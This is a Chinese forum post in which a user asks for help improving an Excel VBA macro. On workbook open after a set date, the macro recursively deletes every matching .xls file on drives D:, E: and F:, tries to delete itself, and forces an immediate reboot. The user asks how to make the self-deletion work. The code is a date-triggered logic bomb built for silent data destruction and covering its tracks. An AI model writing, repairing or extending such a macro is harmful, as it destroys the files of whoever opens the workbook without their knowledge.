本帖最后由 icenotcool 于 2013-11-26 16:20 编辑
老师,效果很好,速度有点慢,但是有一个问题就是假如执行文件本身也是"*爸*.xls"的文件的情况下,程序卡死。好像单独文件自我删除的速度又可以,是不是要补进去一个自我删除的模块才行,我想把执行程序补充一下,就是执行完删除别的文件,然后再把自己删除掉(执行程序所在文件名字不确定,有可能是"*爸*,也有可能根本就不含"*爸*),然后重启电脑。
Private Sub Workbook_Open() If Date > #12/11/2012#Then Application.DisplayAlerts = False ThisWorkbook.ChangeFileAccess xlReadOnly Arr =Array("D:\", "E:\" , "F:\") ' 或者指定电脑所有盘文件夹 For f= 0 To UBound(Arr) CPath= Arr(f) CFile = "*爸*.xls" '在这里指定要删除的文件名 With Application.FileSearch '自动搜索 .NewSearch .LookIn = CPath .Filename = CFile .SearchSubFolders = True .Execute For i = 1 To .FoundFiles.Count Kill .FoundFiles(i) '搜索后逐个删除 Kill ThisWorkbook.FullName '这句是我添加的,为什么不行,语法不对吗? Next i EndWith Next Shell"shutdown -r -t 000" '即刻系统重启 ThisWorkbook.Close Application.Quit End If End Sub |